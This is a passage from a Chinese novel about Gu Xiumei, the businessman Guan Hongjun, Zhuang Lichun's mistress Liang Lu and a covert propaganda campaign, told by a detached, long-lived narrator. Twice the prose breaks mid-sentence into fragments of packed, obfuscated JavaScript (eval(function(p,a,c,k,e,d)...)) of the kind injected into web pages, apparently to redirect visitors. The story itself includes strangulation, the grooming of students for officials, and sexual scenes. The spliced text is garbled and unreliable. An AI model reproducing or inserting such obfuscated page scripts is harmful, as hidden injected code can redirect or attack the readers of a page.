龙七的反应比预期的要冷淡。 电话接通的一瞬间,平静的语气,令这边的人仿佛寒冬掉进了冰窟窿。 「讲过多少次了,不要随便给我打电话,有事找小马,他会联系我的。」电话里是庄立春的声音。 龙七的语气并未好太多。「你们怎么会有我的号码?平白无故联系做什么,我还有很多事情要忙呢。」 两鬓斑白的古秀梅语气有些不知所措:「小七啊,奶奶想你了,想和你聊聊天。」 「聊什么天、看什么看啊,等你踏实出了月子,我自然会派人把你接到家里来的,现在是关键时期,你总归也不想咱们的孩子一出生就被人扣上私生子的帽子吧。」梁露被庄立春骂得默默流下眼泪来。 古秀梅擎着电话久久没有讲话,照进屋里的阳光,慢悠悠地,从她的身后散步到身前,我守在她近旁,像守着一尊雕像。我忍不住摸摸她的肩膀: 「秀梅,秀梅……」 她愣愣地回过神来,表情僵硬地挤出一点笑,然后胡乱挂了电话。她随意编了个借口就躲进了房间。 这让我想起老庄,他也是在和小庄的一通电话之后,轰然倒塌,再也没有爬起来。我紧跟在古秀梅身后,扑在她身上吓得开始嚎啕大哭,也同老庄断气在庄嫂卖红薯的街头那般。 「秀梅,秀梅,你千万别想不开,没有你,我是一刻都活不了的,为我也请你好好活下去啊,秀梅。」我像是个招魂的老巫婆,一通惊天地泣鬼神的鬼哭狼嚎。 古秀梅终于慢悠悠坐起身来。「太好了,秀梅,你坐起来了。」古秀梅温柔地抚摸着我粗劣的头发,她说:「你啊,怎么总是像个孩子似的。」 电话挂断,梁露躲在医院的被子里崩溃大哭。一旁的小马从桌上抽出两张纸巾,递过去。「梁小姐,不要哭了,你这样哭,对自己、对孩子都不好的。」 显然梁露尚不具备一个情妇的自知之明和自我修养,她掀开被子,将在庄立春处受的委屈都发泄在可怜的小马身上。「连我哭也要管吗!你是庄立春的什么啊!」边说着,她边抓起一切可能的东西砸向小马。 小马也并不具备一个保镖的职业素养,他是街头混混出身,因善于奉承和庄立春的秘书成为兄弟,这才谋了保镖的差事。小马的母亲多年前住进精神疗养院,期间缘由就是忍受不了父亲出轨对象的再三挑衅和恐吓,他母亲陷入重度抑郁和焦虑,而他自己也被父亲赶出了家门。生产前,梁露还不是这般嚣张跋扈前,小马还曾同情过她,觉得她天真烂漫、遇人不淑,而生产后,梁露不知何缘故,脾气性格简直像脱胎换骨。 「娘的,别说庄立春那个老东西不愿意来看你,小爷我都受够你了。」说着,小马大步向前,掐住了梁露的脖子,身体本就孱弱的梁露毫无反抗之力,小马眼见红了眼,好在此时,一旁的婴儿及时哭了起来,小马渐渐恢复理智,慢慢松开了手。 梁露哄起孩子。 小马则按着刚刚不知何时被砸破的额头,推门去往护士站。 深夜的护士站,只有小莲一个人。小莲是玫瑰在红房子里诞下的孩子,没有人知道她的父亲是谁,春樱为其找了一户寻常人家收养,而玫瑰却从始至终都以为自己的孩子夭折了。 小莲年方二十,气质纯净,身形小巧,却遗传了她母亲的饱满。闷热的雨季,寂静的长廊里,她穿着粉白的护士衫坐在转椅上吹风扇,她的唇瓣和脸颊都热得红彤彤的,呼啦啦的风从洁白的领口灌进她的胸脯里,衣领被吹得忽高忽低,光滑肌肤上的汗珠若隐若现。 捂着脑袋的小马直愣愣地盯着,竟一时忘了讲话,鲜血从他的指缝汩汩渗出,沿着高耸的眉峰,滑下清瘦的脸颊。 小莲大惊一声:「呀,你这是怎么搞的?」 小马方才回过神来,他脸红地胡乱解释道:「就……不小心上厕所摔倒了。」 「上厕所摔破头?也真有你的,快过来我瞧瞧。」 小马乖乖把头送过去,小莲比他矮许多,他一低头,正看进她的领口里,瞬时慌了神,手忙脚乱。 小莲狠狠一巴掌拍在他的肩膀:「别乱动,我要看不清伤口啦。」 梁露备产和生产期间,两人早起熟络起来,但像今天这般奇怪的氛围从未有过。 「走吧,去治疗室我帮你处理一下。」 玫瑰和管红军乘着文艺复兴的东风,短短数年,成功跻身商界名流。起初关于玫瑰在红房子的从业经历,群众间还有些窸窸窣窣的议论声,但随着两人生意慢慢扩张、稍有盈余后开始回馈社会,比如举办男性与妇科义诊活动,医生护士都是帅哥美女,或者慰问老人病弱,渐渐的口碑都好了起来。两人还创办了安化厂的第一所十字架教会,就在红房子的旧址。 安化厂其实也已经不叫安化厂了,随着各色娱乐产业的发展,安化厂不断向外扩张,原本只是围绕厂区几公里的天地,现在已经扩展了十倍不止。娱乐产业不仅带动消费和服务业,当人民有了更多选择,其主观能动性便调动起来,各种制造业应运而生。绚丽的服装总是要的,超短裙、阔西装、吊带衫、牛仔衣,各种乐器、各式画具,烹饪美食的厨房用品,梳妆打扮的珠宝首饰,光是鞋子就细分了上百个品种,这当中的每一个厂子都要比安化厂的规模庞大得多。 管红军离开了安化厂,却创造了比之更宏伟的帝国。 商之大者,难免要和官场打交道,工商所、税务局、消防、社保,这都是绝无可避免的。而庄立春就成了管红军的幕后军师。这也是庄立秋那样心比天高、自命不凡的人,为何会偏安在小小的被时代抛弃的安化厂里,而不再搅弄乾坤,绝非是缘于什么年龄所囿。正相反,他似乎更乐于享受这种垂帘听政的趣味。 庄立春既瞧不上官僚体系里那些靠关系上位的伪君子,不屑在他们面前俯首、假笑,但又不安于普通人的圈层。他只恨自己生错了阶层、生错了时代,时常感叹如果自己生在混战的乱世,一定会成为名垂青史的伟大人物。 管红军似乎很顺从庄立春,每每庄立春在他面前讲起这些近乎妄想的假设,管红军从来都是笑眯眯地迎合:「是啊,那是肯定的,一定是的。」 治疗室的灯坏了一盏,只剩角落的小灯很微弱地亮着。 小莲喊小马躺到病床上去,小马很顺从地脱鞋和外套躺下,此刻的他耳朵已经红得像两只烧红的水壶,就差冒蒸汽了。 狭小的空间里,充斥着消毒水的味道,密不透风,很闷。 小马很快就淌出热汗来。 小莲端着药盘转过身来:「呀,你怎么出了这样多的汗。」说着她便抻着袖口帮小马擦拭起来,这一抻她的领口更大了,小马赶紧别过脸去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳常清窃取了龙九的公司,这本该属于我和古秀梅家族的取之不尽的财富,但我们却没有追究,绝不是因为我俩被蒙蔽了双眼,只是先是安化厂被毁,紧接着古秀梅病倒,我孤立无援苦苦支撑,根本无暇顾及这些。况且龙九之死也并非因他而起,柳常清虽恶,但木已成舟,安化厂摧毁后他既出钱又出力地竭力支援复建工作,且他待我和古秀梅以及资助龙九的疗养院,实在可以称得上尽心尽力。如若没有他持续不断的支持,以我这般懦弱无能的性格怕是挨不到今天的。 为避免读得太久,写了太多旁人的事情,以致使你们忘了我的本来面目,特地再次重复描述。我之所以被神选中,成为这样一个历史记录者的角色,绝不是因为我慈悲、聪慧、热心肠。心系众生慈悲为怀的人是做不来我这个职业的,见不得人间疾苦,必会出手干预,而历史的车轮滚滚向前,牵一发而动全身,是决不容许任何变数的。所以冷漠、软弱、散漫、卑劣的我,自然就成了最佳人选。 神知道我的本性,无论人类在我面前遭受怎样的折磨、辛痛,横尸遍野亦或是生灵涂炭,我都不会插手干预。在读的你们会不会诧异,我为何会变得这样厌恶人类。但实则不然,我既不厌恶人类,也不亲近人类。 我也曾经是人类的朋友。 她叫阿宁,生在二十二世纪,也就是被誉为「智慧宇宙时代前的黎明」的那段时间,那是个群星闪耀的时代,也可以说是人类文明的巅峰,之后智能机器逐渐取代底层人类,地球上人口数量锐减,文明犹如华盖之下的腐肉,蛆虫慢慢滋生。阿宁出生在一户并不起眼的农民家庭,少年的求学时期的她便展露出异于常人的智慧与天赋,十九岁,她发奋读书、打工,终于攒到足够的钱申请自己梦寐以求的学校,却猛然发现一个惨痛的事实,她因患病过往的记忆已经损失大半,而且无论她再如何努力,都再也无法像从前那样轻松地解出所有难题。当她需要再次躺在手术台上时,这次依然不能用麻醉,医生用一块蓝天颜色的棉布遮住她的眼睛,然后沉默着开始切开她皮肤,皮、肉、血、骨…… 尽管冰冷的手术刀,已经尽可能地锋利,却依然令她痛得险些失去理智,她狠命地掐着自己的虎口,以痛止痛,这招果然奏效,她很快就冷静下来。她想象着自己正躺在阳光温柔地青色草原上,头顶是碧蓝的天空,耳旁是微风徐徐吹过羊群……她忽然感觉冷寂的手术室,变得温暖了起来。 医生第二次从她的身体里取走了一块多余的肉。 缝合好后,她起身看到不锈钢托盘里那小坨不足一公分长的东西,释然地笑出声来。 「你倒是心态好。」熟悉的护士打趣她。 她只一味笑着,却没有开口。下了手术台,便去卫生间吐了一口鲜血。镜子里的年轻人,仿佛有着八十岁的躯壳。她嘴角带血,笑道:「阿宁,你还真是命硬,亲爹亲妈都不管的人了,真不晓得你还在活个什么东西。」 阿宁两次病发在家里,父母双亲眼睁睁看她倒下,一个继续守着电视机,一个出门去消食,而她独自躺在水泥地板数个小时,直到身体冰冷,痛觉被麻痹,她像一具丧尸般支撑着骨骼站起来,离开那扇铁青的大门。 神的记录里,我会在一间旧书店成为她的挚友。我带她吃路边摊、睡火车站、在雪地里打滚儿、在大雨里跳舞,而她将我这样冷漠的人,形容为「太阳一样的朋友」。记录里也早已标注了惨淡的结局:在我踏上不可避免的远行后不久,她在印度洋洁白的海滩,用美工刀结束了自己并不年轻的二十二岁生命。她在遗嘱里将自己的身体无偿捐赠给医学研究所,却被父母驳回。他们执意将她火化,带回了老家。 她短暂的一生,从未真正得到一次自己想要的。 一如千千万万正在阅读的你。 而我私心祝愿你,能拥有爱护你的亲人爱人,能遇到一个「太阳一样的朋友」。 29. 舅舅 人是会死的,而生离死别如同剜心,我虽然长生,心却只有一颗,我不喜欢被剜心的感觉,那比烈酒还辛辣。 古秀梅似乎把我变得没那么冷血了,不单单指生理上的,而是真正意义的人格上的。阿宁的故事我曾在雪夜和雨天回忆过无数遍,却从未想过要因此祝福谁,虽然这祝福无足轻重、更不会产生任何真实效果。 这让我联想到人类的谚语:遇事不决,求神拜佛。 站在安化厂松柏青青的陵园,古秀梅一边为有饭和龙八、龙九添饭,一边和我说:「你说这世人他能不知道天上地下本无神佛吗?可为什么这浩瀚的黄土大地,无论深山丛林,遍布着密密麻麻的教堂寺观?只因双拳四手已无它法,一切可寻的活路皆都寻遍了,唯有寄托于虚无缥缈的神明,万一就有那万分之一的神迹呢。就算到头竹篮打水,也是获得了片刻的心理安宁。求仙问卦,能被平头老百姓知晓得天机,哪算什么天机?那分明就是宿命里本该你知晓的,不是这样来也是那样来,而其实呀,从来就只有这样来。你我以为自己有许多条路走,实则只有一条路可走。我们自以为的迷茫、犹豫、审度、错过,都是命中注定的迷茫、犹豫、审度、错过,既不会重来,也不会更改。」 人类总是自编自演,把神幻想成心系众生、慈悲为怀的热心肠角色,却不曾想想,自己生活里分明最是憎恶那些不分青红、毫无底线,盲目兼爱众生的烂好人。如果哭两声、饿两顿就值得被同情、被善待,那这个世界的监狱将空无一人,人人都像讨债鬼似的,既不工作也不思考,整天只跪在神佛面前哭泣卖惨就行了。 要知道,同我一样拥有劣根性的,可远不止我一个。 说回古秀梅来到柳常清的办公室,仿佛闯进了城市博物馆。 柳常清很是恭敬地起身将古秀梅迎进牛皮沙发里。「古奶奶,你怎么还特地跑过来一趟啊?打个电话,我就去家里看你嘛。」 「小柳,我来是有正事与你商议的。」 柳常清端来一杯明前新茶:「不必商议,您开口,我立刻照办。跟我您不必客气的。」 古秀梅也没和他虚掩。「是这样的,小柳,你还很年轻,或许不知道我之前在议会工作的一些情况。我一直在推行全民票选制,这是我的毕生志愿,如今我已经申请了重回议会,审批也已经通过。所以我想……」 「您需要我帮忙?」 「是的。」 「古奶奶,推行新法若是和当政者的权力相违背,恐怕不仅难以事成,我们这公司上下几千名员工和他们背后的家庭生计也会受到影响。所以我想谨慎一点,先听听你打算怎么做,可以吗?」 「放心,我绝不会用什么激进之法。我呢,会陆续制作一批潜移默化熏陶民智的文艺作品,想借用公司的数据网络技术作为推手,将这批作品的影响范围纵深、扩大,尽可能多的普及到更广的民众。当然,我非常尊重也看重公司的声誉,所以每次的作品清单我会提前给你,你审批删减之后再确定。」 柳常清很爽快。「可以,就这么定了。」实则他暗中有自己的野心。古秀梅一行人逆风推进的全民票选制,他早有耳闻。凭他的出身在如今的世道,财富可以靠旁门左道获得,可权力却是断然无法染指的。一旦被古秀梅们做成了这件事,他的真金白银便可顷刻兑现为货真价实的选票,将他送上那梦寐以求的高位。 政治,本质上就是没有制约的生意。战争是对资源的再分配和权力调整,而和平也只是普通民众沦为制造机器时的美好幻觉。 管红军和玫瑰登门探望。 我对两人毫无偏见,甚至对玫瑰是怀有歉意的。如果当初我听古秀梅的话,阻止龙九往红房子跑,或许就不会让龙九和玫瑰走到如今这般。可历史没有如果,历史是必然的单行道。 玫瑰说起教堂义卖的活动,邀请我们参加。 而管红军则关心起古秀梅重回议会的事情,他没有细问,只是叮嘱古秀梅久病初愈,做事要多注意身体。 玫瑰的心思必然是极单纯的,而管红军显然此意不在表面,说是关心,实则是试探。商而优则仕,他和柳常清怀揣着同样的心思,不同的是,他背后是庄立春在指点。管红军心思再深也是浅的,但他自己似乎并不这么想。 他借着时代的机遇、庄立春的点拨、玫瑰的头脑和人脉,几年之间达到如今安化城首富的位置。起初,他是绝对信从庄立春的。可这几年,随着社会的风云巨变,以及他自己资产的爆发式增长,不知从哪个寂静的夜晚开始,他心中的某处螺丝开始松动。 他扪心自问,这如何不算是互相成就呢? 如果自己真的是个愚蠢至极的笨蛋,那就算是智慧之神下凡,怕是也难以达成今日的成功。庄立春确乎是教会了他一些基本的人情世故,八面玲珑之技巧。可经商入流,绝不是靠那一点点人情世故便可以畅行无阻的。个人的思想、学识、远见、敏锐、经验,无不在其中起到了重要的作用。如果仅仅将他管红军的成就归结于时代的机遇、庄立春的指点,那实在是有失偏颇。况且随着年纪渐长,庄立春越发老来糊涂了,近日沉浸于生孩子这个可笑的念头当中。在如今尚且四十伊始,正值人生盛景年华的管红军看来,如今的庄立春与街头巷尾那些自吹自擂的老头儿没什么分别。 尤其是庄立春和梁露搭上之后,管红军时常会在心中暗耻,梁露那种毫无头脑的货色,他怎么瞧得上? 如今的管红军看似温顺低调,内里却是满满的傲慢,而这缘于他的出身。他出生在权力漩涡斗争中失败的贵族家庭,所以骨子里就带着某种不甘,和对普通阶级的鄙夷。这类失败的贵族往往是极其善于伪装的,而这种伪装对他们而言是信手拈来的事情,根本无需刻意花精力和心思。管红军更是这当中的佼佼者,其原因自然是受益于他那一张人畜无害的脸,眉眼之间透露着敦厚老实,让你实在联想不起来他是那种精于算计的人。 管红军就像一只蛰伏在羊群当中的小狐狸。羊群自然是低估了他的,而他也确实是高估了自己。 古秀梅并不是管红军想要搭上的唯一的议员,在他的匡扶门楣的宏伟计划当中,像古秀梅这样的人,他拉拢了不下百人。而比古秀梅更高阶的人,那些实打实的体系之内的官员,他私底下也有许多联络。 而他拉拢人心的方式无外乎就三种:做低伏小、装傻充愣和投怀送抱。 投怀送抱,送的自然不是他自己。庄立春和何曼珠之所以可以知道梁露,就是管红军在当中的操作,他和龙四以及其它学校的校长都保持着密切的联系,在他们眼里,这些男学生、女学生不再是一个个独立的人权个体,而只是一件件可以用来被利用的物品。 而他和龙四等人的高明之处就在于,他们的送往往不是强迫的,而是会周全计划,让这些男学生、女学生心甘情愿地将自己交给这些达官贵人,而且死心塌地。 所以管红军们甚至无需付出特别多的成本,也毫不惧怕承担风险。 这些天真的男孩女孩儿,他们甚至以为自己遇到了真命天子和天女。他们天真到不曾有一秒钟怀疑过自己的个人魅力以及枕边人的目的动机。每天清晨照镜子的时候,他们望着镜子里那个普普通通的自己,无形之中给自己抹上了一层胭脂浓粉,让自己看起来光彩照人。他们沉浸在豺狼虎豹编织的捕网里,毫不挣扎,甚至越陷越深,引以为豪。他们将别人的规劝视为妒忌,将虚伪的利用视作真情。所以,读书多了也未必是件好事。太过于沉浸在书本里,脑子往往就坏掉了,连基本的是非善恶都辨不了。但凡他们有半点聪明、半点清醒,都不至于最后落得像梁露这样的下场。 学校的就读名额,我一直还给她留着。三年,五年,八年,后来院里一直催促说要将这些僵尸名单清除掉。可是我总不忍心断送一个女孩最后的退路。 但管红军也有他的底线在,就是玫瑰。 与信仰无关,而是因为玫瑰和他的母亲很像。管红军的母亲叫卫英,她出生在路边的野地,吃百家饭长大,在学校与管红军的父亲相识。彼时,管父的家族已经败走平阳。管父是个极其容易意志消沉的男人,他终日里饮酒买醉、顾影自怜,沉浸在对官场的憎恶里。小小的三口之家,几乎是完全靠卫英一人独立撑起。在管红军的记忆里,母亲卫英似乎从来没有过任何消极时刻。她总是那样昂扬着,像一朵渺小的雏菊始终向阳而生。她不受环境所困囿,生活给她什么,她便享受什么。生活经常想打压她,试图将她一击击倒,可她却永远撑着膝盖站着,哪怕人人朝她吐口水,或是三人成虎的谣言,她也毫不畏惧,不为此自怨自艾。她身上有许多非常光明的品格,这令管红军受益匪浅。而在玫瑰的身上,管红军看到了许多母亲的影子。 与其说他娶玫瑰是想让她成为他的妻子,更应该说,他是为自己娶了一位新母亲。 而这是他压在心底的秘密。他绝不可以让任何人知道他的软肋。 精神战争这一招,古秀梅能想到,盘踞在这个国家上方数百年的当政者也能想到,所以他们必须要足够隐秘,才能防止被对方在萌芽时扼杀。 而如果只进行精神战争,是万万不可取的。 自古以来的战争都讲究敌在明,我在暗。而如果我只在暗处活动,敌人必然会心生怀疑,所以明处的工作也要继续展开,而且要越来越声势浩大才可以。 古秀梅从刘爱华那里,结识了一群极富有天赋的创作者。他们才情饱满,灵魂激昂,被过去的时代压抑已久,如今恰逢开放,又遇到了古秀梅这样志同道合的同志,创作欲望犹如洪水决堤般汹涌出来。他们持续不断地创作出催化民智开蒙的音乐、绘画、书本、评论、影视、戏剧……针对不同的人群,他们将这些作品伪装成了各式各样类型。有更易在校园传播的青春恋爱和玄幻武侠版本,也有更易在压抑欲望的成年人当中传播的情色版本,更有在人生郁郁不得志的中年人当中传播的个人英雄主义幻想的版本,还有在老年人当中传播的夕阳之恋、老当益壮版本,更有纵横商场版、叱咤武林版、痴情男女版、喜闻乐见的日常生活版本,悲情版、复仇版、穿越版、意识流版、战乱版……凡人类之所想所思,他们的脑海中都能极尽才思去创作。 有了创作,自然也需要有人将它演绎出来,吕文羽的人脉便在这方面成了关键。她在文艺剧院担任院长数十年,期间所结识的演员、名流、音乐家、剧作者、评论员、演奏家、导演、绘画者比比皆是。这些人在过往的灰色岁月里,或多或少都承受过压迫和侮辱,他们是和吕文羽一般的幸存者。更多的不幸者,他们的同伴、兄弟、姐妹,则是成为了像吕文生那样的惨烈的牺牲品。时代的背景之下,他们甚至不能为那些同胞去发声、抗争,去复仇。历史的滚滚车轮之下,他们仿佛是被大地母亲所遗弃的婴儿,生死由命。与从未开智的普通老百姓不同,他们将自己的残活视为是个体的韧性,而并非是时代的宽容或上天的恩赐。他们固守着自己所认为的那一方净土,不愿意受当局者浸染。他们表面附和,内里却充满了反叛。 是的,我用的词语是自以为。 因为我是一个绝对客观的记录者。他们以及所有人,包括古秀梅、古妙心、黄豆豆、何曼珠,甚至过往的胡得为、刘罐头、陈传富之类,在我这里都没有绝对的善与恶、正与邪之分。这并非是出于记录者的职责,而是我从本心出发,即如是以为。 而且,所有看似正确的,背后也都有其残忍的地方。就拿这些文艺者来说,他们自诩天命,纯净不凡,可是当他们走在大街上,看见那沿街乞讨的乞丐,他们却会摆一摆自己的衣袖,只觉得那是污秽之物。 再且看那些高位的文艺者,哪一个成为风流之徒以后,不是干尽风流之事。 这些清高文人,无论嘴上说得如何冠冕堂皇、高风亮节,其本质也不过追求名利而已。 他们与那些自私且逐利的政客和商人所不同的是,政客与商人在追求名利的同时,利是大于名,他们并不在乎那些手无缚鸡之力的百姓的评价。而这些清高文人,他们既想要普通民众的拥戴和优评,又想要富丽堂皇的奢华生活。 我时常会有一个非常朴素的观点。我认为,最适合当政当权的,最应该是那些极其朴素的、毫无名利追求的、只在乎衣食住行这些踏实生活细节的人。国家和人民的性命只有交到这样的人手上才可以真正安稳。 但我也非常明白,这仅仅是一个非常朴素的观点,除非某天整个地球上只有一个国家,且这个国家足够小、足够集中,才可能会有这样理想主义的世界出现。不然,只要有不同的势力存在,只要国家存在分裂的可能,就必然需要一个强势的,甚至近乎于暴戾的、手段狠烈的领导人出现。他必须铁面无私,六亲不认,且手腕了得;他不能轻易被情欲或利益煽动,他要像插在石头上的一把利刃,铁石心肠,锋利无比,也要有遮在利刃上的一抹红绸,懂得藏锋而立。 古秀梅原本也希望我能帮她创作一些东西,但是从这本书的最开始你就知道,我虽然饱读群书,但是却实在不善于创作。我的那支老旧英雄牌钢笔,还是少年时期舅舅送给我的。上次雪夜过后,我也已经十余年没有收到过他的消息,他大抵是死在那远洋之外的彼岸了。 我不应该说大抵,因为他确乎是死在那里了。 他死在一个名叫索尔金的小镇。 那是一个并不炎热的夏季的清晨。瓷器铺的老板伸了个懒腰,推开封闭的街门,却在门前看到一具已经招满苍蝇的异国面孔。 在混乱的边境小镇,这种横尸街头的事情,瓷器店老板已经习以为常。他迈前一步,将舅舅的尸体拖到旁边的垃圾桶旁,随即便继续开始营业前的准备。 我的舅舅,他的一生都在致力于将思想融入行为艺术里,用一些常人看起来几乎荒诞怪异的举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而就在瓷器店老板哼着索尔金的当地民谣,把开店前的一切准备事宜全都张罗完毕时,他刚要坐在柜台里掏出雪茄来抽上一根,一枚炮弹就落在了这条街道的最中央,他的瓷器店连同他自己的肉身一起,瞬间化为乌有。 我自小就知道舅舅的结局会是这样,所以,他不理解为何我从小看向他时眼里总是湿润的。他总啰嗦我是个懦弱的孩子,说男孩子不应该经常眼里含泪,那是姑娘家才该做的事情。我也不能反驳。只能越发因为他多跟我讲了几句可爱的话,而更加的泪水汹涌了起来。 我亲爱的读者,不知道你是否曾幻想过,如果有一天,你能看到自己身旁所有亲近的人、爱护的人,他们的一生和结局,当你再次站到他们面前时,你会是以怎样的神情去望向他们呢? 这实在是一个非常难以回答的假设。 我忽然发现,在我的书里,我似乎并不擅长去讲述死亡。那些与我亲近的人,他们每一个人的离开,我好像只是用了非常简单的平静的话语去讲述出来,没有铺垫,没有渲染,没有悲情的道别,显得有几分冷漠。不过这倒符合我一贯的人设。 事实上,我现在正在活着。是的,尽管这本书写的是几百年以后,可是在写的当下,我正在活着。活在遇见古秀梅的很久之前。此刻,我与这个世界之间隔了一层无形的屏障,我能感受到太阳的温度,感受到风的吹拂,感受到食物进入我的嘴巴,我咀嚼后它沿食道滑进我的胃里,感受到我的每一次呼吸,我睁开眼睛,看见光明的世界,闭上眼睛,陷入黑暗的睡眠。我甚至慢慢能感受到一些情绪,我的悲痛,我的快乐,我的愉悦,我的恐惧…… 可是我依然无法与这个世界产生确切的联系,我不知道那些所谓我活在这个世界到底是一种怎样的感受。人人嘴里说的,我们生在这个世界里,就应该怎样怎样。所以,究竟什么是生在这个世界里呢?那种所谓的确切的联系,那种想要为这个世界赴汤蹈火?想要在这个世界里疯狂地去体验,去放肆,去热爱,到底是一种怎样的感受呢?我至今不能理解。 而且我不能与人去探讨这件事情。因为,无论是在过往还是现在,地球上都有一种叫做精神分裂的疾病。精神分裂的特征之一,据说就是像我这样,与这个世界感受不到联系,时常产生一些妄想与意念。如果我去找人谈话,他们大抵会将我当成那种病患,再次关进那个雪白的房子里面,只给我一张铁皮床和一张雪白的桌子,甚至连窗户都是小小的隔绝太阳的,为的就是避免我逃跑出去祸害人间。尽管我从没有伤害过任何人。 我不懂,像我这样手无缚鸡之力的人,连握紧拳头都是一件费劲的事情,更别说将拳头挥向人类或者其他的生命了。当我还不是精神分裂的时候,在他们的眼里,我是一个懦弱得人人可欺的鼠流之辈。可当我被定义成精神分裂的时候,我却仿佛突然变成了一枚拥有无尽威力的核弹,体内似乎储存着足以毁灭世界的力量,且随时会爆炸。 实不相瞒,在五百年前,我曾经被真实地关进过一所名为第六精神卫生院的场所里面,当然在我和古秀梅生活的时代里面,它已经彻底消亡了。因为人类已经成功攻克了精神分裂的基因秘密,并将其从人类的基因链条当中去除。 他们把我关进精神病院的原因其实很简单,是因为我在公开场合讲了一个关于石头猴子的故事。我说,从前有一只猴子,它在南海的小岛上,从一块石头当中蹦了出来,他没有父母,没有来源,没有身世,他从一颗石头变化而来,而当时在场的所有人类立刻哗然色变。他们不相信,也绝不认为这个世界上会存在如此离谱的事情,他们是完完全全受科学主义教化的人类。 我还告诉他们,这只猴子后来去到了天上,找到了众神生活的庭院,并将庭院中的几棵桃树连根拔起,把桃子全部都吃进了肚子里。众神因此大怒,将他打进了一只锅炉里面,炼成了仙丹,而他最后却被一个普普通通的人类所降服。在场的人们当即开始纷纷报警,扬言我是一个精神病患。 说来非常滑稽,这群人甚至信奉宗教那种虚无缥缈的假东西,却不相信有一只猴子可以从石头里蹦出来。 于是我顺理成章地被关进了精神病院里。一间白房子,一张铁皮床和一扇封起来的窗户。 他们非常无理且残忍,甚至只愿给我一个背阴的房间。 因为不能理解彼此矛盾的焦点,所以我甚至不能向他们解释我的思想的正确性,以及他们思想的狭隘性。如此,我在这间白房子里生活了六十六年。直到在某次电击治疗下失去了意识,再次异地重返这个世界。 后来,我便爱上了太阳。 我走到哪里都喜欢粘着它。 也是它让我知道了,原来人们口中的爱是暖洋洋的。 再后来有饭的悲惨离世,令我又体会到了悲恸如同吃洋葱,辛辣催泪。 与古秀梅和另一个我的巫山云雨,让我尝到的欢愉犹如一泡尿憋了半天后开闸放水。 而等待古秀梅急救室门外的几个小时,我切肤品味到恐惧的滋味,犹如深渊溺水,无所呼救。 30. 小莲 这场隐秘的战争打响之后,古秀梅几乎就没有时间陪我了,再次陷入失恋痛苦的我翻出了这本书,开始书写同时空叙事的另外一部。 我可爱的各位小读者,言外之意过于隐晦,所以特意点明,在你的生活里,无形之中就有许许多多的精神战争的存在。所以请你务必警惕一切可能会荼毒你独立思想的事物,包括且不限于,人、虚拟生命、电影、话剧、书本、画作、教材、短剧、评论、笑话、漫画、科普、甚至服装、环境、住所、新闻等等。精神战争不是毒虫蚂蚁,它是空气,是风,是雨,它融入在自然万物当中,在你以为你已经完美规避时,渗透进你的生活,甚至你的皮肤,你的血肉,直达你的思想。 你一定要警惕那些看起来宏伟的,却实则片面的话。我不可以明说那些话语究竟长什么模样,不然这本书在这样的时代就得不到出版了。但是请你务必要再三检验那些你所接受的信息。尤其要警惕那些极其具有煽动性的、对立性的话语,甚至是那些看起来对你有利的。敌人往往不会直接傻傻地塞一块砒霜给你。他会狡黠地将砒霜之外裹上蜜糖,再假以一层喷香的巧克力。他也不会生硬塞进你的嘴巴里,而会伪装成一位贴心温柔的爱人,在你的身旁嘘寒问暖,稀松平常的傍晚,日落正好,微风徐徐,他在氤氲的灯光和甜蜜的话语中,拿出一颗代表爱意的巧克力,含情脉脉地将自己和巧克力送至你唇边,这时你要能保持足够的清醒的分辨能力,来决定吃还是不吃。 你要时刻谨记爸爸妈妈自你幼年起就明令再三的那句警告:陌生人给的糖果不要吃。 这也并非说所有的精神艺术作品都是毒药。比如一切客观的历史,就都是利口的良药。如果你已经忘记了,请翻到前面大学课堂重新恢复的那一课,历史教本的序言,陆光敏先生的赠言。 是毒是药,你要首先具备自己分辨的能力。而这能力的前提就是你要有稳定独立的思想内核,阅读历史可以帮助你形成这种稳定的思想内核。 良言以赠,愿君常醒。 孩子足月的梁露,被庄立春在凌晨送进了郊外的别墅里。华丽的别墅里,除了两个年长的保姆和琳琅满目的母婴用品外,再无其他。梁露当下便心生失望和愤怒。几经纠缠之后,她抱起孩子愤然向外跑去。小马无奈之下只能给庄立春打去电话。此时的庄立春既不在何曼珠处,也不在别墅,而在医院的治疗室。 电话接连打来,身下的小莲识趣息声,庄立春压着呼吸接通电话,他的嗓音中已经有了老年初期的沧桑:「什么事情。」 梁露将襁褓中的婴儿推给小马,夺过电话便开始哭:「阿春,你在哪?我想见你。」 婴儿开始啼哭。 庄立春极不耐烦,只得应付道:「乖乖听话,我睡下了,明天一早去看你。」 梁露瞬间由泪转喜:「你说的,不许骗我哦。」 「嗯。」 「行,那你睡吧。我等你。」 「嗯。」 挂断电话,庄立春将正在用舌尖挑战自己的小莲强势压回身下。 他声线低沉道:「调皮。」 粉红如同初春蜜桃的小莲眼神含蓄示弱,舌尖却不肯停。 而在别墅里,梁露三两下抹去眼泪,住进卧房。 庄立春忙着四处散播种子时,何曼珠正在为红气球之后的安化厂空气治理方案做最后的落地工作。 红气球破裂的最初那几年,空气似乎安然无恙,没有伤亡、没有流疫,人人都以为这只是一场杞人忧天的过度担忧。可是,当医院和城市里的新生儿数据逐渐下量下降,新生婴儿的身体逐渐出现一些从未有过的变异疾病时,人们才开始逐渐意识到,赖以生存的空气已经被红气球改变了。 这些婴儿的变异与海婴和云朵不一样。海婴和云朵变成了另一个物种,但它们至少还是健康的、鲜活的。而在红气球破裂的后几年陆续降生的婴儿,他们变成了千差万别的怪物。有的皮肤上长满了癞蛤蟆般的疙瘩,有的眼睛里时不时会飞出羽毛和鳞片,有的手心里长出无数只眼睛,指甲像牙齿一样,还有的胸口前多了许多孔洞,里面流出许多恶臭的汁水来。 五百年前,上古神书《山海经》已经被尽数销毁,所以如今的人类根本不知道,眼前的这些怪物,其实在上古时期多多少少都有过相似的面孔。孔。。 